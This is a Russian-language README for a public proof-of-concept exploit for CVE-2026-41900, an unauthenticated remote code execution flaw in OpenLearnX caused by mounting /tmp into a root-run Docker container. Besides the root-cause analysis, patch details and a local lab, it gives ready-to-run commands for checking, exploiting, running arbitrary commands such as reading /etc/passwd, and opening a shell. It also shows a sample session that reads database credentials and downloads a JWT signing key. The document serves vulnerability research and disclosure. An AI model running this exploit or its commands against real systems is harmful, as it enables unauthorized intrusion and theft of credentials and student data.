Доказательство концепции эксплуатации для CVE-2026-41900 — неаутентифицированного удалённого выполнения кода в OpenLearnX через монтирование тома контейнера, позволяющего раскрытие /tmp и выполнение команд.
| Свойство | Значение |
|---|
| Название | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Тип | Неаутентифицированное раскрытие информации / RCE |
| Затронуто | OpenLearnX < коммит 14765d7 |
| Исправлено | Коммит 14765d7 (real_compiler_service) |
| CVSS | 8.6 (Высокий) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (мой автоматизированный конвейер анализа патчей) отметил тихое уведомление об уязвимости в OpenLearnX — GHSA-8h25-q488-4hxw было опубликовано без каких-либо технических деталей. Я вытащил исправляющий коммит (14765d7) и сравнил его с родительским (d19c4e4).
Дифф рассказал всю историю: execute_in_container() в backend/routes/coding.py был выпотрошен и заменён усиленным real_compiler_service. Старый код записывал пользовательский код во временный файл, а затем монтировал os.path.dirname(temp_file) — который разрешается в /tmp — в соседний Docker-контейнер как том только для чтения. Без user=, без cap_drop, без security_opt. Root по умолчанию.
Главное: blueprint compiler по адресу /api/compiler/execute не имеет декоратора аутентификации. Любой неаутентифицированный запрос может запустить выполнение кода через уязвимую настройку контейнера.
Я изолировал код до патча в локальной лаборатории, подтвердил все векторы и написал этот PoC.
POST /api/compiler/execute (без аутентификации)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ разрешается в /tmp → ВЕСЬ /tmp монтируется в контейнер
│
├─ Нет user= → выполняется от root (UID 0)
├─ Нет cap_drop → стандартные возможности Docker
├─ Нет security_opt → стандартный профиль seccomp
│
└─ Атакующий читает: секреты, учётные данные, ключи JWT, чужие работы
| Гаджет | Серьёзность | CWE | Описание |
|---|---|---|---|
listing | ВЫСОКИЙ | CWE-538 | Список каталога /tmp через монтирование тома |
secrets | КРИТИЧЕСКИЙ | CWE-538 | Чтение учётных данных, ключей, конфигов из /tmp |
submissions | ВЫСОКИЙ | CWE-538 | Чтение работ других студентов |
rootcheck | СРЕДНИЙ | CWE-250 | Подтверждение выполнения от UID 0 (root) |
caps | СРЕДНИЙ | CWE-250 | Дамп эффективных возможностей Linux |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Без зависимостей — только стандартная библиотека
chmod +x exploit.py
# Проверить, уязвима ли цель
python3 exploit.py --check http://target:5000
# Запустить все гаджеты + сгенерировать JSON с доказательствами
python3 exploit.py --exploit http://target:5000
# Выполнить одну команду
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Перейти в интерактивную оболочку
python3 exploit.py --shell http://target:5000
# Запустить конкретные гаджеты
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Попав в --shell, вы получаете псевдоинтерактивную оболочку. Каждая команда порождает новый эфемерный контейнер.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Скачан jwt_signing_key.pem (235B)
root@container:/app# exit
Для локального воспроизведения:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
Лаборатория разворачивает контейнеризированное Flask-приложение, воспроизводящее execute_in_container() до патча, со следующими параметрами:
/tmp общий между хостом и контейнером приложенияКоммит 14765d7 заменил execute_in_container() на real_compiler_service, который применяет:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # изолированный tmpdir для каждого выполнения
cap_drop=["ALL"], # сбросить все возможности
security_opt=["no-new-privileges:true"], # предотвратить повышение привилегий
user="65534:65534", # nobody, а не root
...
)
| Дата | Событие |
|---|---|
| 2026-04 | OSDC отмечает тихое уведомление GHSA-8h25-q488-4hxw |
| 2026-04 | Дифф-анализ коммита 14765d7 против родительского d19c4e4 |
| 2026-05 | Воспроизведение в лаборатории и разработка PoC |
| 2026-05-06 | Полный PoC подтверждён — все 5 векторов проверены |
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.
Christbowel · christbowel.com · Команда безопасности Balgo